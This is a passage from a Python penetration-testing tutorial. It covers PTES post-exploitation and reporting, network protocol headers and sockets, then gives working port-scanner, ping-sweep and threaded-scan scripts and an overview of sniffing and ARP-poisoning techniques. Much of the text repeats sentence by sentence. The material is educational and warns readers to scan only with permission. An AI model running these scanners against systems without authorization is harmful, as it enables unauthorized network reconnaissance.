Cached DNS entries, proxy servers, etc. It may be defined as obtaining the information from targeted hosts. This information is relevant to the goals defined in the pre-assessment phase. This information can be obtained from installed programs, specific servers like database servers, printer, etc. on the system. Under this activity, assessor is required to do mapping and testing of all possible exfiltration paths so that control strength measuring, i.e., detecting and blocking sensitive information from organization, can be undertaken. This activity includes installation of backdoor that requires authentication, rebooting of backdoors when required and creation of alternate accounts with complex passwords. As the name suggest, this process covers the requirements for cleaning up system once the penetration test completes. This activity includes the return to original values system settings, application configuration parameters, and the removing of all the backdoor installed and any user accounts created. This is the final and most important phase of PTES. Here, the client pays on the basis of final report after completion of the penetration test. The report basically is a mirror of the findings done by the assessor about the system. Following are the essential parts of a good report − This is a report that communicates to the reader about the specific goals of the penetration test and the high level findings of the testing exercise. The intended audience can be a member of advisory board of chief suite. The report must contain a storyline, which will explain what was done during the engagement, the actual security findings or weaknesses and the positive controls that the organization has established. Proof of concept or technical report must consist the technical details of the test and all the aspects/components agreed upon as key success indicators within the pre engagement exercise. The technical report section will describe in detail the scope, information, attack path, impact and remediation suggestions of the test. We have always heard that to perform penetration testing, a pentester must be aware about basic networking concepts like IP addresses, classful subnetting, classless subnetting, ports and broadcasting networks. The very first reason is that the activities like which hosts are live in the approved scope and what services, ports and features they have open and responsive will determine what kind of activities an assessor is going to perform in penetration testing. The environment keeps changing and systems are often reallocated. Hence, it is quite possible that old vulnerabilities may crop up again and without the good knowledge of scanning a network, it may happen that the initial scans have to be redone. In our subsequent sections, we will discuss the basics of network communication. Reference Model offers a means of standardization, which is acceptable worldwide since people using the computer network are located over a wide physical range and their network devices might have heterogeneous architecture. In order to provide communication among heterogeneous devices, we need a standardized model, i.e., a reference model, which would provide us with a way these devices can communicate. We have two reference models such as the OSI model and the TCP/IP reference model. However, the OSI model is a hypothetical one but the TCP/IP is an practical model. The Open System Interface was designed by the International organization of Standardization (ISO) and therefore, it is also referred to as the ISO-OSI Model. The OSI model consists of seven layers as shown in the following diagram. Each layer has a specific function, however each layer provides services to the layer above. The Physical layer is responsible for the following activities − Activating, maintaining and deactivating the physical connection. Activating, maintaining and deactivating the physical connection. Defining voltages and data rates needed for transmission. Defining voltages and data rates needed for transmission. Converting digital bits into electrical signal. Converting digital bits into electrical signal. Deciding whether the connection is simplex, half-duplex or full-duplex. Deciding whether the connection is simplex, half-duplex or full-duplex. The data link layer performs the following functions − Performs synchronization and error control for the information that is to be transmitted over the physical link. Performs synchronization and error control for the information that is to be transmitted over the physical link. Enables error detection, and adds error detection bits to the data that is to be transmitted. Enables error detection, and adds error detection bits to the data that is to be transmitted. The network layer performs the following functions − To route the signals through various channels to the other end. To route the signals through various channels to the other end. To act as the network controller by deciding which route data should take. To act as the network controller by deciding which route data should take. To divide the outgoing messages into packets and to assemble incoming packets into messages for higher levels. To divide the outgoing messages into packets and to assemble incoming packets into messages for higher levels. The Transport layer performs the following functions − It decides if the data transmission should take place on parallel paths or single path. It decides if the data transmission should take place on parallel paths or single path. It performs multiplexing, splitting on the data. It performs multiplexing, splitting on the data. It breaks the data groups into smaller units so that they are handled more efficiently by the network layer. It breaks the data groups into smaller units so that they are handled more efficiently by the network layer. The Transport Layer guarantees transmission of data from one end to other end. The Session layer performs the following functions − Manages the messages and synchronizes conversations between two different applications. Manages the messages and synchronizes conversations between two different applications. It controls logging on and off, user identification, billing and session management. It controls logging on and off, user identification, billing and session management. The Presentation layer performs the following functions − This layer ensures that the information is delivered in such a form that the receiving system will understand and use it. This layer ensures that the information is delivered in such a form that the receiving system will understand and use it. The Application layer performs the following functions − It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc. It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc. The functions such as LOGIN or password checking are also performed by the application layer. The functions such as LOGIN or password checking are also performed by the application layer. The Transmission Control Protocol and Internet Protocol (TCP/IP) model is a practical model and is used in the Internet. The TCP/IP model combines the two layers (Physical and Data link layer) into one layer – Host-to-Network layer. The following diagram shows the various layers of TCP/IP model − This layer is same as that of the OSI model and performs the following functions − It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc. It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc. The application layer also performs the functions such as LOGIN or password checking. The application layer also performs the functions such as LOGIN or password checking. Following are the different protocols used in the Application layer − TELNET FTP SMTP DN HTTP NNTP Following are the different protocols used in the Application layer − TELNET FTP SMTP DN HTTP NNTP It does the same functions as that of the transport layer in the OSI model. Consider the following important points related to the transport layer − It uses TCP and UDP protocol for end to end transmission. It uses TCP and UDP protocol for end to end transmission. TCP is a reliable and connection oriented protocol. TCP is a reliable and connection oriented protocol. TCP also handles flow control. TCP also handles flow control. The UDP is not reliable and a connection less protocol does not perform flow control. The UDP is not reliable and a connection less protocol does not perform flow control. TCP/IP and UDP protocols are employed in this layer. TCP/IP and UDP protocols are employed in this layer. The function of this layer is to allow the host to insert packets into network and then make them travel independently to the destination. However, the order of receiving the packet can be different from the sequence they were sent. Internet Protocol (IP) is employed in Internet layer. This is the lowest layer in the TCP/IP model. The host has to connect to network using some protocol, so that it can send IP packets over it. This protocol varies from host to host and network to network. The different protocols used in this layer are − ARPANET SATNET LAN Packet radio Following are some useful architectures, which are used in network communication − An engineer named Robert Metcalfe first invented Ethernet network, defined under IEEE standard 802.3, in 1973. It was first used to interconnect and send data between workstation and printer. More than 80% of the LANs use Ethernet standard for its speed, lower cost and ease of installation. On the other side, if we talk about frame then data travels from host to host in the way. A frame is constituted by various components like MAC address, IP header, start and end delimiter, etc. The Ethernet frame starts with Preamble and SFD. The Ethernet header contains both Source and Destination MAC address, after which the payload of frame is present. The last field is CRC, which is used to detect the error. The basic Ethernet frame structure is defined in the IEEE 802.3 standard, which is explained as below − The Ethernet packet transports an Ethernet frame as its payload. Following is a graphical representation of Ethernet frame along with the description of each field − An Ethernet frame is preceded by a preamble, 7 bytes of size, which informs the receiving system that a frame is starting and allows sender as well as receiver to establish bit synchronization. This is a 1-byte field used to signify that the Destination MAC address field begins with the next byte. Sometimes the SFD field is considered to be the part of Preamble. That is why preamble is considered 8 bytes in many places. Destination MAC − This is a 6-byte field wherein, we have the address of the receiving system. Destination MAC − This is a 6-byte field wherein, we have the address of the receiving system. Source MAC − This is a 6-byte field wherein, we have the address of the sending system. Source MAC − This is a 6-byte field wherein, we have the address of the sending system. Type − It defines the type of protocol inside the frame. For example, IPv4 or IPv6. Its size is 2 bytes. Type − It defines the type of protocol inside the frame. For example, IPv4 or IPv6. Its size is 2 bytes. Data − This is also called Payload and the actual data is inserted here. Its length must be between 46-1500 bytes. If the length is less than 46 bytes then padding 0’s is added to meet the minimum possible length, i.e., 46. Data − This is also called Payload and the actual data is inserted here. Its length must be between 46-1500 bytes. If the length is less than 46 bytes then padding 0’s is added to meet the minimum possible length, i.e., 46. CRC (Cyclic Redundancy Check) − This is a 4-byte field containing 32-bit CRC, which allows detection of corrupted data. CRC (Cyclic Redundancy Check) − This is a 4-byte field containing 32-bit CRC, which allows detection of corrupted data. Following is a graphical representation of the extended Ethernet frame using which we can get Payload larger than 1500 bytes − The description of the fields, which are different from IEEE 802.3 Ethernet frame, is as follows − DSAP is a 1-byte long field that represents the logical addresses of the network layer entity intended to receive the message. SSAP is a 1-byte long field that represents the logical address of the network layer entity that has created the message. This is a 1-byte control field. Internet Protocol is one of the major protocols in the TCP/IP protocols suite. This protocol works at the network layer of the OSI model and at the Internet layer of the TCP/IP model. Thus, this protocol has the responsibility of identifying hosts based upon their logical addresses and to route data among them over the underlying network. IP provides a mechanism to uniquely identify hosts by an IP addressing scheme. IP uses best effort delivery, i.e., it does not guarantee that packets would be delivered to the destined host, but it will do its best to reach the destination. In our subsequent sections, we will learn about the two different versions of IP. This is the Internet Protocol version 4, which uses 32-bit logical address. Following is the diagram of IPv4 header along with the description of fields − This is the version of the Internet Protocol used; for example, IPv4. Internet Header Length; length of the entire IP header. Differentiated Services Code Point; this is the Type of Service. Explicit Congestion Notification; it carries information about the congestion seen in the route. The length of the entire IP Packet (including IP header and IP Payload). If the IP packet is fragmented during the transmission, all the fragments contain the same identification number. As required by the network resources, if the IP Packet is too large to handle, these ‘flags’ tell if they can be fragmented or not. In this 3-bit flag, the MSB is always set to ‘0’. This offset tells the exact position of the fragment in the original IP Packet. To avoid looping in the network, every packet is sent with some TTL value set, which tells the network how many routers (hops) this packet can cross. At each hop, its value is decremented by one and when the value reaches zero, the packet is discarded. Tells the Network layer at the destination host, to which Protocol this packet belongs, i.e., the next level Protocol. For example, the protocol number of ICMP is 1, TCP is 6 and UDP is 17. This field is used to keep checksum value of entire header, which is then used to check if the packet is received error-free. 32-bit address of the Sender (or source) of the packet. 32-bit address of the Receiver (or destination) of the packet. This is an optional field, which is used if the value of IHL is greater than 5. These options may contain values for options such as Security, Record Route, Time Stamp, etc. If you want to study IPv4 in detail, please refer to this link - www.tutorialspoint.com/ipv4/index.htm The Internet Protocol version 6 is the most recent communications protocol, which as its predecessor IPv4 works on the Network Layer (Layer-3). Along with its offering of an enormous amount of logical address space, this protocol has ample features , which address the shortcoming of IPv4. Following is the diagram of IPv4 header along with the description of fields − It represents the version of Internet Protocol — 0110. These 8 bits are divided into two parts. The most significant 6 bits are used for the Type of Service to let the Router Known what services should be provided to this packet. The least significant 2 bits are used for Explicit Congestion Notification (ECN). This label is used to maintain the sequential flow of the packets belonging to a communication. The source labels the sequence to help the router identify that a particular packet belongs to a specific flow of information. This field helps avoid re-ordering of data packets. It is designed for streaming/real-time media. This field is used to tell the routers how much information a particular packet contains in its payload. Payload is composed of Extension Headers and Upper Layer data. With 16 bits, up to 65535 bytes can be indicated; but if the Extension Headers contain Hop-by-Hop Extension Header, then the payload may exceed 65535 bytes and this field is set to 0. Either this field is used to indicate the type of Extension Header, or if the Extension Header is not present then it indicates the Upper Layer PDU. The values for the type of Upper Layer PDU are same as IPv4’s. This field is used to stop packet to loop in the network infinitely. This is same as TTL in IPv4. The value of Hop Limit field is decremented by 1 as it passes a link (router/hop). When the field reaches 0, the packet is discarded. This field indicates the address of originator of the packet. This field provides the address of the intended recipient of the packet. If you want to study IPv6 in detail, please refer to this link — www.tutorialspoint.com/ipv6/index.htm As we know that TCP is a connection-oriented protocol, in which a session is established between two systems before starting communication. The connection would be closed once the communication has been completed. TCP uses a three-way handshake technique for establishing the connection socket between two systems. Three-way handshake means that three messages — SYN, SYN-ACK and ACK, are sent back and forth between two systems. The steps of working between two systems, initiating and target systems, are as follows − Step 1 − Packet with SYN flag set First of all the system that is trying to initiate a connection starts with a packet that has the SYN flag set. Step 2 − Packet with SYN-ACK flag set Now, in this step the target system returns a packet with SYN and ACK flag sets. Step 3 − Packet with ACK flag set At last, the initiating system will return a packet to the original target system with ACK flag set. Following is the diagram of the TCP header along with the description of fields − It identifies the source port of the application process on the sending device. It identifies the destination port of the application process on the receiving device. The sequence number of data bytes of a segment in a session. When ACK flag is set, this number contains the next sequence number of the data byte expected and works as an acknowledgment of the previous data received. This field implies both, the size of the TCP header (32-bit words) and the offset of data in the current packet in the whole TCP segment. Reserved for future use and set to zero by default. NS − Explicit Congestion Notification signaling process uses this Nonce Sum bit. NS − Explicit Congestion Notification signaling process uses this Nonce Sum bit. CWR − When a host receives packet with ECE bit set, it sets Congestion Windows Reduced to acknowledge that ECE received. CWR − When a host receives packet with ECE bit set, it sets Congestion Windows Reduced to acknowledge that ECE received. ECE − It has two meanings − If SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set. If SYN bit is set to 1, ECE means that the device is ECT capable. ECE − It has two meanings − If SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set. If SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set. If SYN bit is set to 1, ECE means that the device is ECT capable. If SYN bit is set to 1, ECE means that the device is ECT capable. URG − It indicates that Urgent Pointer field has significant data and should be processed. URG − It indicates that Urgent Pointer field has significant data and should be processed. ACK − It indicates that Acknowledgement field has significance. If ACK is cleared to 0, it indicates that packet does not contain any acknowledgment. ACK − It indicates that Acknowledgement field has significance. If ACK is cleared to 0, it indicates that packet does not contain any acknowledgment. PSH − When set, it is a request to the receiving station to PUSH data (as soon as it comes) to the receiving application without buffering it. PSH − When set, it is a request to the receiving station to PUSH data (as soon as it comes) to the receiving application without buffering it. RST − Reset flag has the following features − RST − Reset flag has the following features − It is used to refuse an incoming connection. It is used to refuse an incoming connection. It is used to reject a segment. It is used to reject a segment. It is used to restart a connection. It is used to restart a connection. SYN − This flag is used to set up a connection between hosts. SYN − This flag is used to set up a connection between hosts. FIN − This flag is used to release a connection and no more data is exchanged thereafter. Because packets with SYN and FIN flags have sequence numbers, they are processed in correct order. FIN − This flag is used to release a connection and no more data is exchanged thereafter. Because packets with SYN and FIN flags have sequence numbers, they are processed in correct order. This field is used for flow control between two stations and indicates the amount of buffer (in bytes) the receiver has allocated for a segment, i.e., how much data is the receiver expecting. Checksum − This field contains the checksum of Header, Data and Pseudo Headers. Checksum − This field contains the checksum of Header, Data and Pseudo Headers. Urgent Pointer − It points to the urgent data byte if URG flag is set to 1. Urgent Pointer − It points to the urgent data byte if URG flag is set to 1. Options − It facilitates additional options, which are not covered by the regular header. Option field is always described in 32-bit words. If this field contains data less than 32-bit, padding is used to cover the remaining bits to reach 32-bit boundary. Options − It facilitates additional options, which are not covered by the regular header. Option field is always described in 32-bit words. If this field contains data less than 32-bit, padding is used to cover the remaining bits to reach 32-bit boundary. If you want to study TCP in detail, please refer to this link — https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm UDP is a simple connectionless protocol unlike TCP, a connection-oriented protocol. It involves minimum amount of communication mechanism. In UDP, the receiver does not generate an acknowledgment of packet received and in turn, the sender does not wait for any acknowledgment of the packet sent. This shortcoming makes this protocol unreliable as well as easier on processing. Following is the diagram of the UDP header along with the description of fields − This 16-bits information is used to identify the source port of the packet. This 16-bits information is used to identify the application level service on the destination machine. The length field specifies the entire length of the UDP packet (including header). It is a 16-bits field and the minimum value is 8-byte, i.e., the size of the UDP header itself. This field stores the checksum value generated by the sender before sending. IPv4 has this field as optional so when checksum field does not contain any value, it is made 0 and all its bits are set to zero. To study TCP in detail, please refer to this link — User Datagram Protocol Sockets are the endpoints of a bidirectional communication channel. They may communicate within a process, between processes on the same machine or between processes on different machines. On a similar note, a network socket is one endpoint in a communication flow between two programs running over a computer network such as the Internet. It is purely a virtual thing and does not mean any hardware. Network socket can be identified by a unique combination of an IP address and port number. Network sockets may be implemented over a number of different channel types like TCP, UDP, and so on. The different terms related to socket used in network programming are as follows − Domain is the family of protocols that is used as the transport mechanism. These values are constants such as AF_INET, PF_INET, PF_UNIX, PF_X25, and so on. Type means the kind of communication between two endpoints, typically SOCK_STREAM for connection-oriented protocols and SOCK_DGRAM for connectionless protocols. This may be used to identify a variant of a protocol within a domain and type. Its default value is 0. This is usually left out. This works as the identifier of a network interface. A hostname nay be a string, a dotted-quad address, or an IPV6 address in colon (and possibly dot) notation. Each server listens for clients calling on one or more ports. A port may be a Fixnum port number, a string containing a port number, or the name of a service. To implement socket programming in python, we need to use the Socket module. Following is a simple syntax to create a Socket − import socket s = socket.socket (socket_family, socket_type, protocol = 0) Here, we need to import the socket library and then make a simple socket. Following are the different parameters used while making socket − socket_family − This is either AF_UNIX or AF_INET, as explained earlier. socket_family − This is either AF_UNIX or AF_INET, as explained earlier. socket_type − This is either SOCK_STREAM or SOCK_DGRAM. socket_type − This is either SOCK_STREAM or SOCK_DGRAM. protocol − This is usually left out, defaulting to 0. protocol − This is usually left out, defaulting to 0. In this section, we will learn about the different socket methods. The three different set of socket methods are described below − Server Socket Methods Client Socket Methods General Socket Methods In the client-server architecture, there is one centralized server that provides service and many clients receive service from that centralized server. The clients also do the request to server. A few important server socket methods in this architecture are as follows − socket.bind() − This method binds the address (hostname, port number) to the socket. socket.bind() − This method binds the address (hostname, port number) to the socket. socket.listen() − This method basically listens to the connections made to the socket. It starts TCP listener. Backlog is an argument of this method which specifies the maximum number of queued connections. Its minimum value is 0 and maximum value is 5. socket.listen() − This method basically listens to the connections made to the socket. It starts TCP listener. Backlog is an argument of this method which specifies the maximum number of queued connections. Its minimum value is 0 and maximum value is 5. socket.accept() − This will accept TCP client connection. The pair (conn, address) is the return value pair of this method. Here, conn is a new socket object used to send and receive data on the connection and address is the address bound to the socket. Before using this method, the socket.bind() and socket.listen() method must be used. socket.accept() − This will accept TCP client connection. The pair (conn, address) is the return value pair of this method. Here, conn is a new socket object used to send and receive data on the connection and address is the address bound to the socket. Before using this method, the socket.bind() and socket.listen() method must be used. The client in the client-server architecture requests the server and receives services from the server. For this, there is only one method dedicated for clients − socket.connect(address) − this method actively intimate server connection or in simple words this method connects the client to the server. The argument address represents the address of the server. socket.connect(address) − this method actively intimate server connection or in simple words this method connects the client to the server. The argument address represents the address of the server. Other than client and server socket methods, there are some general socket methods, which are very useful in socket programming. The general socket methods are as follows − socket.recv(bufsize) − As name implies, this method receives the TCP message from socket. The argument bufsize stands for buffer size and defines the maximum data this method can receive at any one time. socket.recv(bufsize) − As name implies, this method receives the TCP message from socket. The argument bufsize stands for buffer size and defines the maximum data this method can receive at any one time. socket.send(bytes) − This method is used to send data to the socket which is connected to the remote machine. The argument bytes will gives the number of bytes sent to the socket. socket.send(bytes) − This method is used to send data to the socket which is connected to the remote machine. The argument bytes will gives the number of bytes sent to the socket. socket.recvfrom(data, address) − This method receives data from the socket. Two pair (data, address) value is returned by this method. Data defines the received data and address specifies the address of socket sending the data. socket.recvfrom(data, address) − This method receives data from the socket. Two pair (data, address) value is returned by this method. Data defines the received data and address specifies the address of socket sending the data. socket.sendto(data, address) − As name implies, this method is used to send data from the socket. Two pair (data, address) value is returned by this method. Data defines the number of bytes sent and address specifies the address of the remote machine. socket.sendto(data, address) − As name implies, this method is used to send data from the socket. Two pair (data, address) value is returned by this method. Data defines the number of bytes sent and address specifies the address of the remote machine. socket.close() − This method will close the socket. socket.close() − This method will close the socket. socket.gethostname() − This method will return the name of the host. socket.gethostname() − This method will return the name of the host. socket.sendall(data) − This method sends all the data to the socket which is connected to a remote machine. It will carelessly transfers the data until an error occurs and if it happens then it uses socket.close() method to close the socket. socket.sendall(data) − This method sends all the data to the socket which is connected to a remote machine. It will carelessly transfers the data until an error occurs and if it happens then it uses socket.close() method to close the socket. To establish a connection between server and client, we need to write two different Python programs, one for server and the other for client. In this server side socket program, we will use the socket.bind() method which binds it to a specific IP address and port so that it can listen to incoming requests on that IP and port. Later, we use the socket.listen() method which puts the server into the listen mode. The number, say 4, as the argument of the socket.listen() method means that 4 connections are kept waiting if the server is busy and if a 5th socket tries to connect then the connection is refused. We will send a message to the client by using the socket.send() method. Towards the end, we use the socket.accept() and socket.close() method for initiating and closing the connection respectively. Following is a server side program − import socket def Main(): host = socket.gethostname() port = 12345 serversocket = socket.socket() serversocket.bind((host,port)) serversocket.listen(1) print('socket is listening') while True: conn,addr = serversocket.accept() print("Got connection from %s" % str(addr)) msg = 'Connecting Established'+ "\r\n" conn.send(msg.encode('ascii')) conn.close() if __name__ == '__main__': Main() In the client-side socket program, we need to make a socket object. Then we will connect to the port on which our server is running — 12345 in our example. After that we will establish a connection by using the socket.connect() method. Then by using the socket.recv() method, the client will receive the message from server. At last, the socket.close() method will close the client. import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = socket.gethostname() port = 12345 s.connect((host, port)) msg = s.recv(1024) s.close() print (msg.decode('ascii')) Now, after running the server-side program we will get the following output on terminal − socket is listening Got connection from ('192.168.43.75', 49904) And after running the client-side program, we will get the following output on other terminal − Connection Established There are two blocks namely try and except which can be used to handle network socket exceptions. Following is a Python script for handling exception − import socket host = "192.168.43.75" port = 12345 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(3) data, addr = s.recvfrom(1024) print ("recevied from ",addr) print ("obtained ", data) s.close() except socket.timeout : print ("No connection between client and server") s.close() The above program generates the following output − No connection between client and server In the above script, first we made a socket object. This was followed by providing the host IP address and port number on which our server is running — 12345 in our example. Later, the try block is used and inside it by using the socket.bind() method, we will try to bind the IP address and port. We are using socket.settimeout() method for setting the wait time for client, in our example we are setting 3 seconds. The except block is used which will print a message if the connection will not be established between server and client. Port scanning may be defined as a surveillance technique, which is used in order to locate the open ports available on a particular host. Network administrator, penetration tester or a hacker can use this technique. We can configure the port scanner according to our requirements to get maximum information from the target system. Now, consider the information we can get after running the port scan − Information about open ports. Information about open ports. Information about the services running on each port. Information about the services running on each port. Information about OS and MAC address of the target host. Information about OS and MAC address of the target host. Port scanning is just like a thief who wants to enter into a house by checking every door and window to see which ones are open. As discussed earlier, TCP/IP protocol suite, use for communication over internet, is made up of two protocols namely TCP and UDP. Both of the protocols have 0 to 65535 ports. As it always advisable to close unnecessary ports of our system hence essentially, there are more than 65000 doors (ports) to lock. These 65535 ports can be divided into the following three ranges − System or well-known ports: from 0 to 1023 System or well-known ports: from 0 to 1023 User or registered ports: from 1024 to 49151 User or registered ports: from 1024 to 49151 Dynamic or private ports: all > 49151 Dynamic or private ports: all > 49151 In our previous chapter, we discussed what a socket is. Now, we will build a simple port scanner using socket. Following is a Python script for port scanner using socket − from socket import * import time startTime = time.time() if __name__ == '__main__': target = input('Enter the host to be scanned: ') t_IP = gethostbyname(target) print ('Starting scan on host: ', t_IP) for i in range(50, 500): s = socket(AF_INET, SOCK_STREAM) conn = s.connect_ex((t_IP, i)) if(conn == 0) : print ('Port %d: OPEN' % (i,)) s.close() print('Time taken:', time.time() - startTime) When we run the above script, it will prompt for the hostname, you can provide any hostname like name of any website but be careful because port scanning can be seen as, or construed as, a crime. We should never execute a port scanner against any website or IP address without explicit, written permission from the owner of the server or computer that you are targeting. Port scanning is akin to going to someone’s house and checking their doors and windows. That is why it is advisable to use port scanner on localhost or your own website (if any). The above script generates the following output − Enter the host to be scanned: localhost Starting scan on host: 127.0.0.1 Port 135: OPEN Port 445: OPEN Time taken: 452.3990001678467 The output shows that in the range of 50 to 500 (as provided in the script), this port scanner found two ports — port 135 and 445, open. We can change this range and can check for other ports. ICMP is not a port scan but it is used to ping the remote host to check if the host is up. This scan is useful when we have to check a number of live hosts in a network. It involves sending an ICMP ECHO Request to a host and if that host is live, it will return an ICMP ECHO Reply. The above process of sending ICMP request is also called ping scan, which is provided by the operating system’s ping command. Actually in one or other sense, ping sweep is also known as ping sweeping. The only difference is that ping sweeping is the procedure to find more than one machine availability in specific network range. For example, suppose we want to test a full list of IP addresses then by using the ping scan, i.e., ping command of operating system it would be very time consuming to scan IP addresses one by one. That is why we need to use ping sweep script. Following is a Python script for finding live hosts by using the ping sweep − import os import platform from datetime import datetime net = input("Enter the Network Address: ") net1= net.split('.') a = '.' net2 = net1[0] + a + net1[1] + a + net1[2] + a st1 = int(input("Enter the Starting Number: ")) en1 = int(input("Enter the Last Number: ")) en1 = en1 + 1 oper = platform.system() if (oper == "Windows"): ping1 = "ping -n 1 " elif (oper == "Linux"): ping1 = "ping -c 1 " else : ping1 = "ping -c 1 " t1 = datetime.now() print ("Scanning in Progress:") for ip in range(st1,en1): addr = net2 + str(ip) comm = ping1 + addr response = os.popen(comm) for line in response.readlines(): if(line.count("TTL")): break if (line.count("TTL")): print (addr, "--> Live") t2 = datetime.now() total = t2 - t1 print ("Scanning completed in: ",total) The above script works in three parts. It first selects the range of IP address to ping sweep scan by splitting it into parts. This is followed by using the function, which will select command for ping sweeping according to the operating system, and last it is giving the response about the host and time taken for completing the scanning process. The above script generates the following output − Enter the Network Address: 127.0.0.1 Enter the Starting Number: 1 Enter the Last Number: 100 Scanning in Progress: Scanning completed in: 0:00:02.711155 The above output is showing no live ports because the firewall is on and ICMP inbound settings are disabled too. After changing these settings, we can get the list of live ports in the range from 1 to 100 provided in the output. To establish a TCP connection, the host must perform a three-way handshake. Follow these steps to perform the action − Step 1 − Packet with SYN flag set In this step, the system that is trying to initiate a connection starts with a packet that has the SYN flag set. Step 2 − Packet with SYN-ACK flag set In this step, the target system returns a packet with SYN and ACK flag sets. Step 3 − Packet with ACK flag set At last, the initiating system will return a packet to the original target system with the ACK flag set. Nevertheless, the question that arises here is if we can do port scanning using ICMP echo request and reply method (ping sweep scanner) then why do we need TCP scan? The main reason behind it is that suppose if we turn off the ICMP ECHO reply feature or using a firewall to ICMP packets then ping sweep scanner will not work and we need TCP scan. import socket from datetime import datetime net = input("Enter the IP address: ") net1 = net.split('.') a = '.' net2 = net1[0] + a + net1[1] + a + net1[2] + a st1 = int(input("Enter the Starting Number: ")) en1 = int(input("Enter the Last Number: ")) en1 = en1 + 1 t1 = datetime.now() def scan(addr): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket.setdefaulttimeout(1) result = s.connect_ex((addr,135)) if result == 0: return 1 else : return 0 def run1(): for ip in range(st1,en1): addr = net2 + str(ip) if (scan(addr)): print (addr , "is live") run1() t2 = datetime.now() total = t2 - t1 print ("Scanning completed in: " , total) The above script works in three parts. It selects the range of IP address to ping sweep scan by splitting it into parts. This is followed by using a function for scanning the address, which further uses the socket. Later, it gives the response about the host and time taken for completing the scanning process. The result = s. connect_ex((addr,135)) statement returns an error indicator. The error indicator is 0 if the operation succeeds, otherwise, it is the value of the errno variable. Here, we used port 135; this scanner works for the Windows system. Another port which will work here is 445 (Microsoft-DSActive Directory) and is usually open. The above script generates the following output − Enter the IP address: 127.0.0.1 Enter the Starting Number: 1 Enter the Last Number: 10 127.0.0.1 is live 127.0.0.2 is live 127.0.0.3 is live 127.0.0.4 is live 127.0.0.5 is live 127.0.0.6 is live 127.0.0.7 is live 127.0.0.8 is live 127.0.0.9 is live 127.0.0.10 is live Scanning completed in: 0:00:00.230025 As we have seen in the above cases, port scanning can be very slow. For example, you can see the time taken for scanning ports from 50 to 500, while using socket port scanner, is 452.3990001678467. To improve the speed we can use threading. Following is an example of port scanner using threading − import socket import time import threading from queue import Queue socket.setdefaulttimeout(0.25) print_lock = threading.Lock() target = input('Enter the host to be scanned: ') t_IP = socket.gethostbyname(target) print ('Starting scan on host: ', t_IP) def portscan(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: con = s.connect((t_IP, port)) with print_lock: print(port, 'is open') con.close() except: pass def threader(): while True: worker = q.get() portscan(worker) q.task_done() q = Queue() startTime = time.time() for x in range(100): t = threading.Thread(target = threader) t.daemon = True t.start() for worker in range(1, 500): q.put(worker) q.join() print('Time taken:', time.time() - startTime) In the above script, we need to import the threading module, which is inbuilt in the Python package. We are using the thread locking concept, thread_lock = threading.Lock() to avoid multiple modification at a time. Basically, threading.Lock() will allow single thread to access the variable at a time. Hence, no double modification occurs. Later, we define one threader() function that will fetch the work (port) from the worker for loop. Then the portscan() method is called to connect to the port and print the result. The port number is passed as parameter. Once the task is completed the q.task_done() method is called. Now after running the above script, we can see the difference in speed for scanning 50 to 500 ports. It only took 1.3589999675750732 seconds, which is very less than 452.3990001678467, time taken by socket port scanner for scanning the same number of ports of localhost. The above script generates the following output − Enter the host to be scanned: localhost Starting scan on host: 127.0.0.1 135 is open 445 is open Time taken: 1.3589999675750732 Sniffing or network packet sniffing is the process of monitoring and capturing all the packets passing through a given network using sniffing tools. It is a form wherein, we can “tap phone wires” and get to know the conversation. It is also called wiretapping and can be applied to the computer networks. There is so much possibility that if a set of enterprise switch ports is open, then one of their employees can sniff the whole traffic of the network. Anyone in the same physical location can plug into the network using Ethernet cable or connect wirelessly to that network and sniff the total traffic. In other words, Sniffing allows you to see all sorts of traffic, both protected and unprotected. In the right conditions and with the right protocols in place, an attacking party may be able to gather information that can be used for further attacks or to cause other issues for the network or system owner. One can sniff the following sensitive information from a network − Email traffic FTP passwords Web traffics Telnet passwords Router configuration Chat sessions DNS traffic A sniffer normally turns the NIC of the system to the promiscuous mode so that it listens to all the data transmitted on its segment. The promiscuous mode refers to the unique way of Ethernet hardware, in particular, network interface cards (NICs), that allows an NIC to receive all traffic on the network, even if it is not addressed to this NIC. By default, an NIC ignores all traffic that is not addressed to it, which is done by comparing the destination address of the Ethernet packet with the hardware address (MAC) of the device. While this makes perfect sense for networking, non-promiscuous mode makes it difficult to use network monitoring and analysis software for diagnosing connectivity issues or traffic accounting. A sniffer can continuously monitor all the traffic to a computer through the NIC by decoding the information encapsulated in the data packets. Sniffing can be either Active or Passive in nature. We will now learn about the different types of sniffing. In passive sniffing, the traffic is locked but it is not altered in any way. Passive sniffing allows listening only. It works with the Hub devices. On a hub device, the traffic is sent to all the ports. In a network that uses hubs to connect systems, all hosts on the network can see the traffic. Therefore, an attacker can easily capture traffic going through. The good news is that hubs have almost become obsolete in recent times. Most modern networks use switches. Hence, passive sniffing is no more effective. In active sniffing, the traffic is not only locked and monitored, but it may also be altered in some way as determined by the attack. Active sniffing is used to sniff a switch-based network. It involves injecting address resolution packets (ARP) into a target network to flood on the switch content addressable memory (CAM) table. CAM keeps track of which host is connected to which port. Following are the Active Sniffing Techniques − MAC Flooding DHCP Attacks DNS Poisoning Spoofing Attacks ARP Poisoning Protocols such as the tried and true TCP/IP were never designed with security in mind. Such protocols do not offer much resistance to potential intruders. Following are the different protocols that lend themselves to easy sniffing − It is used to send information in clear text without any encryption and thus a real target. SMTP is utilized in the transfer of emails. This protocol is efficient, but it does not include any protection against sniffing. It is used for all types of communication. A major drawback with this is that data and even passwords are sent over the network as clear text. POP is strictly used to receive emails from the servers. This protocol does not include protection against sniffing because it can be trapped. FTP is used to send and receive files, but it does not offer any security features. All the data is sent as clear text that can be easily sniffed. IMAP is same as SMTP in its functions, but it is highly vulnerable to sniffing. Telnet sends everything (usernames, passwords, keystrokes) over the network as clear text and hence, it can be easily sniffed. Sniffers are not the dumb utilities that allow you to view only live traffic. If you really want to analyze each packet, save the capture and 